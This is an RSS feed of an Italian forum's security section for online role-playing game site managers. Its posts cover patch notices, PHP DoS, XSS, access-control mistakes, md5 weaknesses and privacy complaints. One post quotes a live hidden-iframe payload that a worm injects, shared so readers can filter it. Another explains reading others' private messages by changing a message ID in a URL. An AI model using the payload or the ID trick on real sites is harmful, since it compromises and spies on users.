<?xml version="1.0" encoding="ISO-8859-1" ?>




<rss version="2.0">
<channel>
<title>GDR-online.com Forum <![CDATA[Sicurezza]]></title><link>http://www.gdr-online.com</link><description><![CDATA[Discussioni concettuali, progettuali e pratiche su come implementare un gioco a prova di hacker]]></description><language>it</language><image><title>GDR-online.com</title><url>http://www.gdr-online.com/MK_gdr.png</url><link>http://www.gdr-online.com/forum_leggi.asp?id=79</link><width>350</width><height>54</height></image><item><title><![CDATA[Avviso sonoro missiva a ripetizione]]> di <![CDATA[kuroko_yaoiland]]></title><description><![CDATA[Salve a tutti..<br>Purtroppo oggi ho avuto il mio primo Hackeraggio.<br>Da 5 giorni sto creando,insieme a una mia amica, il mio gdr by chat.Siamo nuove nel campo ovviamente e non sappiamo come fare con questo guaio.E&acute; arrivato un&acute;utente,che subito ho visto l&acute;email falsa..non mi ha dato il tempo di bannarlo che mi ha rincretinito i messaggi.<br>Praticamente mi suona sempre (ma ho tolto la suoneria o tutti gli utenti scappavano ._.) segnalandomi l&acute;arrivo del messaggio e anche se clicco non trovo nulla.E&acute; come fosse impallato..<br>Ho resettato alcune pagine ma non riesco a risolvere il problema,potete aiutarmi?;_;<br><br>MODERAZIONE: Mettiamo dei titoli al topic chiari e comprensibili! &quot;Aiuto&quot; non lo è!]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=162392]]></link><pubDate><![CDATA[09/10/2012 0.45.15]]></pubDate></item><item><title><![CDATA[Vulnerabilità nel Remote Desktop per server Win]]> di <![CDATA[blancks]]></title><description><![CDATA[Vi rigiro (traducendovela) una mail che ci è arrivata da Leaseweb, presso cui abbiamo alcuni piani dedicati.<br><br><br><br>Ti abbiamo inviato questo messaggio perché ospiti uno o più dei tuoi server con LeaseWeb e che potrebbero essere muniti di Windows come sistema operativo:<br><br>Microsoft ha recentemente rilasciato una patch di sicurezza per una vulnerabilità nel protocollo del Remote Desktop. La vulnerabilità consente ad un attaccante l&acute;esecuzione di codice remoto senza richiesta di autenticazione, ottenendo così tutti gli ingredienti per un virus di classe Worm.<br>Il 15 marzo 2012, una prova di questo exploit è stata rilasciata da securitylab.ru. Ci urge premervi nell&acute;applicazione della patch il prima possibile.<br><br>Alla seguente pagina potete trovare altre informazioni riguardo questa vulnerabilità remota e istruzioni su come patchare questo problema.<br><br>- http://technet.microsoft.com/en-us/security/bulletin/ms12-020 [<a href='url.asp?url=http://technet.microsoft.com/en-us/security/bulletin/ms12-020' target='_blank'><b>LINK</b></a>&nbsp;<img src='images/icone/link.gif'>]<br><br><br>La patch può essere applicata anche attraverso Windows Update.<br><br>APPLIES TO:<br>- Windows Server 2003<br>- Windows Server 2003 R2<br>- Windows Server 2008<br>- Windows Server 2008 R2<br>- Windows XP<br>- Windows Vista<br>- Windows 7<br><br><br>Raccomandiamo caldamente di cambiare le password di tutti i tuoi account Remote Desktop dopo aver applicato l&acute;aggiornamento di sicurezza. In più, se sei connesso dietro un firewall ti consigliamo di restringere le connessioni sulla tua porta RDP e/o di accettare connessioni su porte differenti dalla 3389.<br>]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=152062]]></link><pubDate><![CDATA[16/03/2012 12.31.10]]></pubDate></item><item><title><![CDATA[Vulnerabilità Pannelli Plesk]]> di <![CDATA[verdux]]></title><description><![CDATA[Nei giorni scorsi Parallels ha reso nota la presenza di una grave vulnerabilità in quasi tutte le versioni del Pannello di controllo Plesk.<br><br>Visto che si tratta di un Panel utilizzato da un enorme numero di server, sia Linux che Windows, tale vulnerabilità è da ritenersi di natura critica, pertanto è opportuno provvedere quanto prima ad installare le patch di sicurezza disponibili per le versioni elencate.<br><br>Non aggiungo ulteriori dettagli per evitare abusi, però invito tutti i gestori a rimediare al più presto a questo pericolosissimo bug.]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=151583]]></link><pubDate><![CDATA[07/03/2012 15.00.49]]></pubDate></item><item><title><![CDATA[Attacchi Indiretti]]> di <![CDATA[blancks]]></title><description><![CDATA[Volevo rendere noto il fatto che è in circolo questo worm che include automaticamente del codice malevolo, cercando di sfruttare falle XSS, quando un utente prova ad inviare un form in un sito web col fine di inserire iframe nascosti un po ovunque gli utenti bazzichino e di replicarsi così sul pc di altre persone.<br><br>Agli utenti posso solo consigliare di non fidarsi mai delle estensioni per il browser che promettono miracoli e di eseguire frequenti scansioni complete del sistema.<br><br>Per i gestori, consiglio caldamente di prendere misure di sicurezza disabilitando la possibilità di introdurre html libero nelle bacheche e nei profili personaggio: ricordate che avere una scritta colorata in scheda non vale il rischio a cui esponete i vostri utenti.<br><br>Non so quanto sia estesa, magari solo i pc di pochi utenti hanno contratto questa &quot;infezione&quot; ma basta poco per farla diffondere a macchia d´olio.<br><br>Quello che segue è il codice malevolo che viene incluso, lo espongo come feedback in caso vogliate creare controlli ad hoc, <b>se volete verificare cosa si trova al link di destinazione è necessario per la vostra sicurezza disabilitare javascript del browser, ma in genere non vi consiglio di provarci</b>.<br><pre class='code'>&lt;iframe src=&quot;http://d3lvr7yuk4uaui.cloudfront.net/d.html?c=dW5kZWZpbmVkOnVuZGVmaW5lZDp1bmRlZmluZWQ6MTAzNjoxMjc2ODp1bmRlZmluZWQ6&quot; style=&quot;display: none; visibility: hidden;&quot;&gt;&lt;/iframe&gt;</pre><br><br><br>Ricordo che gli utenti che rilasciano questo tipo di codice non sono consapevoli di ciò che accade e concludo con una frase fatta che ritengo particolarmente opportuna: &quot;meglio prevenire che curare&quot;.]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=150029]]></link><pubDate><![CDATA[09/02/2012 1.51.52]]></pubDate></item><item><title><![CDATA[Vulnerabilità PHP (e altri linguaggi)]]> di <![CDATA[blancks]]></title><description><![CDATA[Per i non anglofoni faccio un sunto dell´articolo, per chi volesse leggerlo per intero può trovarlo al seguente indirizzo.<br><br>http://www.phpclasses.org/blog/post/171-PHP-Vulnerability-May-Halt-Millions-of-Servers.html [<a href='url.asp?url=http://www.phpclasses.org/blog/post/171-PHP-Vulnerability-May-Halt-Millions-of-Servers.html' target='_blank'><b>LINK</b></a>&nbsp;<img src='images/icone/link.gif'>]<br><br><br>PHP come altri linguaggi per il web pare soffrano di una vulnerabilità non poco problematica, la hash table collision.<br><br>In parole povere, senza approfondire le meccaniche di funzionamento interne di PHP, consiste in un overload della richiesta http da inviare al server di modo che vi sia una quantità impressionante di dati da mandare in pasto a PHP per lo smistamento nelle superglobali _POST, _GET, _COOKIE permettendo così ad un numero di richieste di molto inferiore a quelle necessarie per un DDoS di creare un singolo processo PHP sulla macchina che impiega il 99&#37; della CPU rallentando il tutto fino ad un possibile arresto del sistema.<br><br>La vulnerabilità a quanto pare non è nuova e venne presentata la prima volta nel 2003 ma fu tenuta in considerazione (all´epoca) solo dai team di sviluppo di Perl e cruby, PHP e altri linguaggi odierni si trovano quindi a dover affrontare in sostanza il rimaneggiamento di un vecchio problema.<br><br>Perché il problema torna all´attenzione adesso ? PHP nel 2003 non era certamente diffuso come oggi (secondo i ricercatori, dice l´articolo, &quot;77&#37; of the Web servers run PHP&quot;).<br><br>I danni derivanti dal problema non sono stati del tutto risolti ma sono stati fortemente limitati grazie alle ultime patch applicate nelle release 5.3.9 RC5 e 5.4.0 RC5 di PHP, in sostanza è stato introdotto nel php.ini il valore <b>max_input_vars</b>, di default impostato a 1000, che indica il numero massimo di informazioni da catalogare negli array di sistema ignorando i successivi.<br><br>Più è impostato ad un valore basso meglio è, e visto che siamo in tema di gdr-online ritengo che impostarlo a non più di 100/150 (a seconda dell´applicazione) possa essere sufficiente.<br><br>Cosa succede se non si può eseguire l´upgrade di una vecchia versione di PHP a causa di una customizzazione che mi farebbe perdere del lavoro fatto ? Se sul vostro server dedicato o vps non potete effettuare l´upgrade di PHP per motivazioni varie potete ricorrere ad un utilissima estensione chiamata Suhosin sviluppata da Stefan Esser nel 2004, uno specialista in materia di sicurezza che già all´epoca non prese sottogamba la questione, e che prevede un parametro analogo a quello introdotto recentemente nel php.ini chiamato max_vars [<a href='url.asp?url=http://www.hardened-php.net/suhosin/configuration.html#suhosin.get.max_vars' target='_blank'><b>LINK</b></a>&nbsp;<img src='images/icone/link.gif'>]. <br><br>Se siete su un servizio di hosting condiviso ovviamente voi non potete farci nulla in proposito, sta al provider procedere con l´upgrade se non si tutela già da se con soluzioni proprietarie (ad esempio, è pratica comune per gli hosting bloccare i siti da cui provengono richieste anomale e potenzialmente pericolose per il server).<br><br><br>Dovrebbe essere ovvio per uno sviluppatore tenersi informato e prendere con serietà ed urgenza simili problematiche di sicurezza, sfortunatamente (aggiunge l´articolo) non tutti i developers sono bene educati a tal fine e anche developer esperti possono talvolta lasciarsi sfuggire qualche questione: nessuno può essere a conoscenza di tutto.<br><br>Motivo (con cui concordo appieno :p) per cui mi è sembrato giusto diffondere e riassumere l´articolo ;-)]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=148542]]></link><pubDate><![CDATA[13/01/2012 11.24.45]]></pubDate></item><item><title><![CDATA[Tutela dati sensibili]]> di <![CDATA[eicca]]></title><description><![CDATA[Di recente mi è capitata una situazione spiacevole che mi ha fatto riflettere, innanzi tutto sull’ignoranza che dilaga nei gestori di land di gdr, che credono che perché uno accetta ai sensi di leggi la registrazione, allora hanno il diritto di utilizzare tutto quello che possono prendersi dall’utente, e secondariamente sulla sicurezza che offre un codice opensource come il gdrcd in mano a degli inesperti totali che probabilmente hanno aperto la land perché hanno litigato altrove.<br>Nel mio caso specifico è venuto fuori che tutto è in chiaro nel DB, tutti i gestori si leggono ogni cosa in chiaro, partendo dall’ip che si analizzano in modo abbastanza invasivo, usando programmi di localizzazione e targeting zoonale. Ora premesso che come utente posso urtarmi che questi arrivino quasi al mio indirizzo e certamente al mio tipo di contratto con il provider adsl, come persona questo è tremendo, potrei anche essere uno con problemi che si connette da un centro di recupero e non volere che la gente on line dove gioco lo sappia. <br>Capisco che sto estremizzando, ma questa è una violazione pesante che i gestori di nuova generazione scartano con risposte idiote alla “ma no non capisci, ho ragione io, posso fare quello che voglio con i tuoi dati sensibili”, cosa che fa scadere fin da subito il dialogo e blocca ogni possibili risoluzione di problemi vari ed eventuali. <br><br>Venendo al motivo del mio post:<br><br>Il gdr cd nudo e crudo è vulnerabile, lo sanno tutti, se i cari gestori hanno tutto in chiaro anche l’amabile hacker ha tutto in chiaro e questo è ancora peggio del fatto che ci guardino loro, anche se già questa cosa è scandalosa. Ora non c’è un modo per rendere consapevoli questi gestori allo sbando che aprono land alla spero in dio che il gdr cd nudo e crudo non basta per tutelare i propri utenti? Una sorta di accettazione delle conseguenze, che ci possono tranquillamente essere, in Italia se tocchi gli ip in chiaro scatta l’apocalisse, siamo stringentissimi su questo fronte, quindi è un po’ ora che i gestori per caso se ne facciano una ragione, quindi perché non renderli consapevoli con il pacchetto gdr cd?<br>Qualcosa del tipo: questo è il gdrcd, senza le dovute precuzioni ed i personali accorgimenti al DB usato e connesso al sito di riferimento si è molto vulnerabili e i dati degli utenti non sono sicuri e tu gestore che firmi e paghi il dominio del sito rischi tot.<br><br>Seconda cosa che mi viene da chiedere, oltre l’ovvia segnalazione tramite il canonico form alla polizia postale/comunicazioni, c’è un mezzo più veloce. Premesso che il form funziona, ma richiede tot settimane anche solo la lettura, sarebbe bello non so un mezzo un pochino più veloce. Esiste?<br><br>Grazie<br>]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=145823]]></link><pubDate><![CDATA[19/11/2011 14.17.34]]></pubDate></item><item><title><![CDATA[Utente senza indirizzo ip]]> di <![CDATA[milenozza]]></title><description><![CDATA[Ciao a tutti.<br>Vi scrivo perché qualche giorno fa nel mio gioco di ruolo play by chat abbiamo &quot;beccato&quot; un utente iscritto senza indirizzo ip. Sono abbastanza ignorante in materia,ma credo che ciò possa accadere solo se si inserisce un utente dal database no? Quindi significa che qualcuno sia riuscito ad entrare nel mio database e creare questo pg. Ora,cambio la password ogni settimana,anche perché abbiamo ricevuto delle &quot;minacce&quot; di hakeraggio,minacce che purtroppo prendo sul serio. Cosa posso fare?]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=144901]]></link><pubDate><![CDATA[04/11/2011 12.27.06]]></pubDate></item><item><title><![CDATA[GDR Play by Chat - Errori comuni]]> di <![CDATA[darkiridium]]></title><description><![CDATA[Un saluto esteso agli utenti ed in particolare a Gianluca (admin di questo sito).<br><br>Dopo diversi anni, mi fa piacere constatare che il virus dei gdr si sia propagato così tanto.<br><br>Avrei molte parole da dire dopo parecchio tempo di lontananza, ma racchiudo tutto in questo: quando passeranno 10 o più anni e riguarderete [mi auguro che sussista questo sito per altri parecchi anni ;) ] i vostri vecchi progetti ritornando quì, capirete cosa provo e ho provato in questi giorni.<br><br><br>Bando alle ciance e passiamo al sodo. Questo topic vuole essere utile non chiacchiere, o meglio chiacchiere utili.<br><br>Premesso che quanto sto per dirvi l&acute;ho notato sulle ambientazioni che hanno fatto uso del codice &quot;Città Virtuale GPL&quot;, ciò non toglie che possano essere indicazioni valide anche per altri.<br><br>Solitamente in un game abbiamo:<br>1) Fase di login e riconoscimento utente<br>2) Fase di controllo autorizzazion dell&acute;utente (user, master, admin..)<br><br>Queste due fasi permettono un controllo sulle azioni dell&acute;utente<br>nell&acute;ambientazione virtuale da voi realizzata.<br><br>Di solito quali sono le aree soggette a controllo ?<br>A) Area per messaggistica interna<br>B) Area chat<br>C) Area forum interno (che diversi chiamano &quot;bacheca&quot;)<br><br>Quali errori comuni si commettono ?<br>Parlo per esperienza, perché per primo ho commesso questi errori :-).<br><br>Prendiamo come esempio l&acute;area relativa alla messaggistica interna.<br><br>[A] Messaggistica interna:<br>I messaggi solitamente sono composti da:<br>* mittente<br>* destinatario<br>* data invio<br>* data ricezione [notifica] [opzionale]<br>* oggetto<br>* testo del messaggio<br><br>Quale potrebbe essere la logica di controllo autorizzazione?<br><br>Spedizione messaggio: l&acute;identificativo del mittente dovrebbe essere ricavato preferibilmente dalla &quot;SESSIONE&quot; e non da un campo hidden messo nel codice html del form.<br><br>Ricezione-lettura del messaggio: deve essere sempre presente la verifica che il &quot;destinatario&quot; combaci con il nome dell&acute;utente in &quot;SESSIONE&quot;<br><br>Cancellazione: per la cancellazione, l&acute;autorizzazione dovrebbe essere concessa solamente al destinatario del messaggio.<br>Opzionalmente si può permettere che venga cancellata anche dal mittente stesso se il destinatario non ha ancora letto il messaggio, prevedendo un flag di lettura.<br>Questo perché io mittente potrei sbagliarmi ad iniviare un messaggio.<br><br><br>Quali errori comuni si commettono:<br>1) Mancanza del controllo sul mittente e sul destinatario.<br><br>Avendo una sessione aperta in gioco, diventa molto banale trovare l&acute;url relativo alla funzione di lettura:<br><br>http://www.gioco-virtuale.zzz/messaggi/leggi.php?idmessaggio=22<br><br>Incrementando o diminuendo tale numero, che succede se mancano controlli ? Ho la possibilità di leggere tutti i messaggi privati.<br><br>2) Controlli presenti ma in jscript/ajax con identificativi utente passati via POST o nel peggior caso GET.<br><br>Su POST e GET penso non debba spiegarvi la differenza, ci sono molti validi ausili di studio per ogni tipologia di linguaggio scelto.<br><br>Riguardo i controlli fatti su javascript, essendo leggibili in chiaro su html è facile eluderli andando a leggere come viene composta la spedizione dei dati del form.<br><br>Riguardo i dati identificativi inseriti come campi hidden [esempio: &lt;input name=&quot;idutente&quot; type=&quot;hidden&quot;...] nell&acute;html del form: ci sono validi ausili e strumenti che permettono di alterare i dati di un form (avendo una sessione aperta nel game) e questo consente ad un qualsiasi giocatore di (nel caso del messaggi di posta).<br><br>I controlli in ajax non sono l&acute;ultimo grido innovativo.<br>Ajax, o meglio l&acute;utilizzo dell&acute;oggetto XMLHTMLHttpRequest, esiste dal 1999. Segue gli stessi commenti detti riguardo javascript.<br>Se posso consigliare, non abbondate in ajax.<br>Troppe domande &quot;asincrone&quot; [chiedo venia a chi non comprende] non fanno che appesantire il server che ospita il vostro sito.<br>Se a quelle richieste sono associate &quot;query&quot; su db come &quot;MySql&quot; potrete notare come le prestazioni peggiorino, ed in caso di hosting free o a basso costo, avrete molti...molti disservizi.<br><br>Che fare:<br>Poche regole ma semplici:<br>1) I controlli vanno &quot;sempre fatti&quot; in codice. Se avete sviluppato in PHP per esempio, i controlli andranno sempre e comunque fatti nel codice racchiuso sul file PHP.<br><br>2) I parametri identificativi è preferibile vengano sempre gestiti, recuperati da oggetti &quot;SESSIONE&quot; e non come dati ottenuti da form com POST o GET.<br><br>Si potrebbe dilungare la conversazione anche sulle sessioni e di come vengano gestite da un server. Ma lo spazio richiesto ad argomentare sarebbe ulteriore e forse richiede qualche conoscenza in più che non è alla portata di tutti [non tutti sono programmatori e questo lo dimentico spesso].<br><br>Sappiate però che, se il server non è ben configurato, facilmente si potrebbe conoscere il valore di una sessione.<br><br>Ma rammentate, se fate un buon controllo sull&acute;input sempre e comunque da codice, potrete togliervi molte magagne :-).<br><br>Tanto per dare un suggerimento: http://it.wikipedia.org/wiki/Cross-site_scripting (trovate anche un semplice codice php utile per prevenirlo)<br><br>Detto questo, mi scuso se il tutto risulti un pò caotico, o se magari per diversi erano già cose conosciute.<br><br>Ma rammentate, se siete giovani, che l&acute;esperienza che acquisite nel gestire un ambiente virtuale e programmandolo, vi ritornerà utile se in futuro sarete webmaster, webdeveloper etc.<br><br>Vi permette anche di capire quanto lavoro possa esserci dietro a siti istituzionali, dove la presenza di dati sensibili deve essere tutelata.<br><br>Per gli errori .... io continuo a farne :-), di meno, ma ne faccio.<br>:-) prima o poi crescerò.<br><br>Non nascondo il desiderio che qualcuno rilasci un codice open source e free per tutti anche un&acute;ambientazione Trek :-)<br>E spero qualche temerario inizi a cimentarsi con l&acute;HTML 5 :-).<br><br>Ho un sogno nel cassetto di riprendere i vecchi codici, riaggiornali con l&acute;esperienza attuale, ma il tempo viaggia contro purtroppo.<br>Se riuscirò li vedrete rilasciati nella sezione GDR OPEN SOURCE [sempre se Gianluca mi concede un pò di spazio]<br><br><br>Ringrazio gli amministratori di:<br>* http://project-galaxy.com<br>* http://www.dark-frontiers.net<br>* http://www.starfleetheadquarter.net<br><br>per il tempo dedicatomi e a tutti quelli che hanno fatto un&acute;ottimo uso, ancora stento a crederci, del codice rilasciato da Traimo e me.<br><br>Grazie infinite :-)<br><br>Prospero<br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br>]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=143428]]></link><pubDate><![CDATA[06/10/2011 20.10.36]]></pubDate></item><item><title><![CDATA[Creative Commons - Basta davvero così poco?]]> di <![CDATA[yoshi]]></title><description><![CDATA[<br>Salve gente.<br><br>Vi scrivo per rivolgervi un quesito:<br><br>Basta prendere la licenza sul sito Creative Commons per salvaguardare la propria opera, senza che nessuno se ne appropri indebitamente o la modifichi liberamente?<br><br><br>Vi ringrazio anticipatamente.]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=133849]]></link><pubDate><![CDATA[14/04/2011 19.16.00]]></pubDate></item><item><title><![CDATA[Problema doppi / IP]]> di <![CDATA[giru]]></title><description><![CDATA[Ciao ragazzi, la mia richiesta non è tanto di programmazione quanto di logica....<br><br>Vi chiedo.... è possibile secondo bloccare veramente un pg?<br>Se al momento è loggato col 86.58.58.128 per esempio.Lo esilio, gli blocco l&acute;accesso all&acute;ip..... lui riavvia il router e può rientrare....<br><br>qualcuno ha risolto questo problema? è risolvibile ?]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=133093]]></link><pubDate><![CDATA[30/03/2011 22.43.25]]></pubDate></item><item><title><![CDATA[Sicurezza basilare sito dinamico]]> di <![CDATA[rosanera]]></title><description><![CDATA[Salve :-)<br>mi chiedeveo se qualcuno avesse il tempo e si prendesse la briga di spiegare (qui) semplicemente quali posson esser i problemi di sicurezza su un sito dinamico, tipo un gdr ad esempio, e di un qualsiasi sito che usi php e sql a livello amatoriale o open source. <br><br>Dove potrebbero attaccarci e cosa potrebeb accadere con tale attacco?<br>Che parte del codice e&acute; sensibile a questo e ci son delle misure alla portata di tutti per evitarli?<br><br>Se abbiamo buone risposte possiam evidenziare il post e metterlo in alto sulla sezione :-)<br><br>Grazie della collaborazione. <br>]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=124978]]></link><pubDate><![CDATA[20/10/2010 8.54.58]]></pubDate></item><item><title><![CDATA[Criptazione Password]]> di <![CDATA[asvak]]></title><description><![CDATA[E&acute; la prima volta che immetto un mio topic in questo forum, ma il problema riguarda uno dei punti del progetto legalità e sapete, fin quando il problema riguarda un qualcosa tipo bacheche, scheda pannelli e via discorrendo provo a risolvere e bene o male dopo 2 settimane risolvo (non sono un programmatore ma ho capito abbastanza della versione di gdr-cd extreme su cui sto lavorando per un gdr mio, anche perchè mi piace molto imparare, soprattutto in fatto di programmazione), partendo quindi dal fatto che non sono programmatore ma improvvisato, ho questo problema: ho inserito la patch per la criptazione di password, attuo la registrazione di un pg a caso, arriva l&acute;email su quella di registrazione del pg, vado a riportare il link sulla barra di caricamento e, magia mi riporta ad un motore di ricerca perchè non trova collegamento alcuno. In più ho inserito la pagina php per criptare le password dei personaggi esistenti, cambiando il valore in tabella personaggio del database da 0 a 1 al riguardo della riga &quot;Attivo&quot;...ma niente, non funziona nessun pg. Essendo un problema importante, onestamente non so da dove prendere il principio. Mi potete supportare?]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=118558]]></link><pubDate><![CDATA[06/06/2010 11.50.20]]></pubDate></item><item><title><![CDATA[Forum sicurezza e moderazione]]> di <![CDATA[hc_webmaster]]></title><description><![CDATA[Non sono qui per criticare o cosa ma semplicemente per l&acute;ultra restrittività sul regolamento circa la rivelazione degli exploit, la quale non mi sembra affatto indice di una piu&acute; utile collaborazione per il mondo open che germoglia in questo portale con vari progetti.<br><br>E&acute; come se su php.net di punto in bianco non postassero piu&acute; i bug riscontrati per paranoia, così come per ubuntu o per altre famose applicazioni, spesso anche proprietarie.<br><br>Posso capire che se mi vien postato uno script da &quot;fine dei giochi&quot; tali informazioni vadano tutelate, ma addirittura censurare un alert test per xss lo trovo insensato ed eccessivamente restrittivo (in un post di dyrr mi pare nel messaggio di albus petulantes etc etc etc) in quanto di per sè quello non è codice dannoso ne risulta essere una guida passo passo per un maleintenzionato che fin dal principio non sapeva come fare.<br><br>La proposta quindi è chiudere il forum sicurezza agli utenti non registrati e di conseguenza loggati sul portale, così da avere sicuramente maggior controllo in merito alla visualizzazione degli exploit e diminuire le restrizioni moderative che, al livello attuale, sono insensatamente elevate ed anzi non fanno che creare solo piu&acute; danni rendendo difficoltosa la comunicazione dei bug e delle risoluzioni.<br><br>Altrimenti, se proprio non vuole essere presa neanche piu&acute; lontanamente in considerazione questa ipotesi, suggerirei l&acute;apertura di un forum dedicato esterno a gdr-online.com.]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=116511]]></link><pubDate><![CDATA[01/05/2010 15.31.19]]></pubDate></item><item><title><![CDATA[...ma il copia incolla della sorgente?]]> di <![CDATA[stefano_il_patetico]]></title><description><![CDATA[Ciao a tutti,<br>leggendo gli ultimi due post di questa sezione, una domanda mi è sorta tra tutte le problematiche annesse ai sistemi di sicurezza:<br>&quot;Ma non è illegale se uno ad esempio fa il copia incolla della sorgente di un GDR, nel nostro caso, anche se tipo il codice è di un open source?<br>Mi spiego meglio...copiare il codice originale senza un permesso risulta essere illegale perchè sarebbe uguale a rubare...<br>ma un GDR che si basa su un OS (ma che magari è stato stravolto dal punto di vista dei layout...dei collegamenti...tipo chessò non utilizza più i frame ma è riscritto in css, pur avendo come base un os...oppure copiare uno script et similia...) da cui si copia la sorgente non è allo stesso modo illegale? Cioè perchè l´ho constatato sul GDR che sto facendo io...basta cliccare con il tasto destro del mouse e alla voce visualizza sorgente pagina ti esce tutto il codice della pagina.<br>Mi togliete questo dubbio?<br>Grazie ]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=113320]]></link><pubDate><![CDATA[15/03/2010 18.09.40]]></pubDate></item><item><title><![CDATA[gdr vulnerabili]]> di <![CDATA[donniee]]></title><description><![CDATA[Ciao! da questa mattina ho visitato due città discretamente conosciute e su entrambe ho trovato gravi vulnerabilità.<br>Sono già state segnalate ai rispettivi gestori.<br>Ma... i programmatori di queste land quanto tempo dedicano alla gestione della sicurezza delle stesse?!?]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=111977]]></link><pubDate><![CDATA[21/02/2010 16.19.28]]></pubDate></item><item><title><![CDATA[Criptare le password - md5 non basta]]> di <![CDATA[verdux]]></title><description><![CDATA[Apro questo topic perché ci tengo ad informare i &quot;colleghi&quot; responsabili dei vari gdr online che la tanto pubblicizzata funzione md5 non è sufficiente, con la sua criptazione, a metterci al riparo da malintenzionati.<br>Md5 è un algoritmo, per dirla breve, che converte una qualunque stringa di testo (la password) in 32 caratteri esadecimali.<br>Teoricamente viene detto che è molto raro che si possa risalire alla password originale, rubando questo codice criptato, perchè il numero di tentativi necessari sarebbe troppo alto (nell´ordine dei milioni).<br>Quando un utente fa il login la pagina invia il codice criptato invece della password &quot;così com´è&quot; e la confronta con la password memorizzata nel database che appunto dev´essere registrata in forma criptata.<br><br>Ma se tramite uno sniffer un malintenzionato al momento del login di un tizio gli &quot;intercetta&quot; la password criptata può comunque utilizzare il dato per loggarsi al posto del malcapitato.<br>O, riuscendo ad ottenere una password criptata, tramite progetti e programmi facilmente reperibili sul web come raimbow project è probabile che il malintenzionato riesca addirittura a risalire dalla criptazione md5 alla parola originaria.<br><br>Come ci possiamo difendere ulteriormente allora?<br><br>Io ho avuto un´idea possibile. ALtri più titolati di me in fatto di programmazione sicuramente potranno illustrare metodi meno grezzi, ma ritengo che già la mia idea fornisca una relativa sicurezza.<br><br>Tramite javascript, al momento del login dell´utente, si può far generare dal server una parola casuale che fungerà da chiave di criptazione con cui verrà ulteriormente criptata la stringa già codificata con md5.<br>Ciò che verrà inviato dalla nostra pagina sarà quindi una password criptata con md5, ulteriormente criptata con una chiave casuale e temporanea, che il server confronterà con la password md5-coded registrata nel database ed ulteriormente criptata con la chiave casuale e temporanea.<br><br>Se un malintenzionato la &quot;sniffa&quot; e invia questa combinazione di password+coding md5+criptazione casuale essa non sarà più valida in quanto la chiave casuale ogni volta è diversa.<br>E se anche riuscisse a rubare dal nostro database una password criptata con md5, essa sarebbe molto spesso inutile in quanto è infruttuoso saltare fraduolentemente il consueto form di login, visto che è l´unico metodo perchè avvenga il doppio coding (md5 e chiave casuale).<br><br>Ed anche la velocità di login non ne risente, in quanto md5 è un hashing ultrarapido appositamente studiato per gli accessi via password. E la chiave casuale garantisce un´ottima sicurezza anche se scegliamo sia costituita da soli 4 caratteri alfanumerici.]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=109581]]></link><pubDate><![CDATA[20/01/2010 18.15.40]]></pubDate></item><item><title><![CDATA[Dubbio su MySqli prepared statements e sicurezza]]> di <![CDATA[dyrr]]></title><description><![CDATA[Ho iniziato a leggermi un pò la parte dei prepared statements in PHP grazie all´estensione MySqli per via della maggiore sicurezza e performance in generale di questi e la mia domanda è questa:<br><br>Quanto sono a prove di SQL Injection? Nel senso una query tipo in questo script di prova:<br><br><pre class='code'><br>&lt;?php<br>	$user_p = (isset($_POST[´user_p´]))? $_POST[´user_p´] : &quot;&quot;;<br>	$password_p = (isset($_POST[´password_p´]))? $_POST[´password_p´] : &quot;&quot;;<br><br>	if (($user_p != &quot;&quot;) && ($password_p != &quot;&quot;)) {<br><br>		//$password_p = hash(sha512, $password_p);<br><br>		$db = new mysqli(&quot;localhost&quot;, &quot;root&quot;, &quot;&quot;, &quot;db_di_prova&quot;);<br>		$stmt = $db -&gt; prepare(&quot;Select user, password FROM user WHERE user = ? AND password = ? LIMIT 0,1&quot;);<br>		$stmt -&gt; bind_param(&quot;ss&quot;, $user_p, $password_p);<br>		$stmt -&gt; execute();<br>		$stmt-&gt;store_result();<br>		if (($stmt-&gt;num_rows) == 0) {<br>			echo &quot;Utente non riconosciuto (01)&quot;;<br>		} else {<br>			$stmt-&gt;bind_result($user, $password);<br>			$stmt-&gt;fetch(); <br>			if (($user == $user_p) && ($password == $password_p)) {<br>				echo &quot;OK&quot;;<br>			} else {<br>				echo &quot;Utente non riconosciuto (02)&quot;;			<br>			}<br>		}		<br>		$stmt-&gt;free_result();<br>		$stmt-&gt;close();<br>		$db-&gt;close();<br>		<br>	}<br>?&gt;</pre><br><br>In teoria il caso che ho segnato con &quot;utente non riconosciuto (02)&quot; dovrebbe essere possibile solo in caso di una sql injection e mi chiedevo quanto l´eseguire la query usando i prepared statements possa sufficente da sola a prevenire quel tipo di attacco?<br><br>P.S.: ho messo come commento la riga di conversione della pass solo per comodità di fare alcune prove di manipolazione della query.<br><br>il tutto ipotizzato su un server con magic quotes gpc settato su off.<br><br>Mi piacerebbe avere l´opinione di qualcuno che ha gia esperienza conq uesto metodo per le query riguardo alla sicurezza di queste.<br><br>Grazie in anticipo]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=108746]]></link><pubDate><![CDATA[07/01/2010 22.20.34]]></pubDate></item><item><title><![CDATA[Recupero Passw]]> di <![CDATA[dream_to_believe]]></title><description><![CDATA[Progetto legalità &quot; Recupero Password &quot;(presenza della criptazione della password e/o delle procedure di recupero da parte dell&acute;utente).<br>Bene vorrei affrontare questa problematica, sono di una banale idea, il classico sistema di recupero quanto può essere sicuro? Non è preferibile inserire una parola chiave? <br>L&acute;utente invierà un email alla Gestione, con la parola chiave inserita al momento dell&acute;iscrizione.  <br><br>Coff.. A voi.. ]]></description><link><![CDATA[http://www.gdr-online.com/readforum.asp?id=105262]]></link><pubDate><![CDATA[03/11/2009 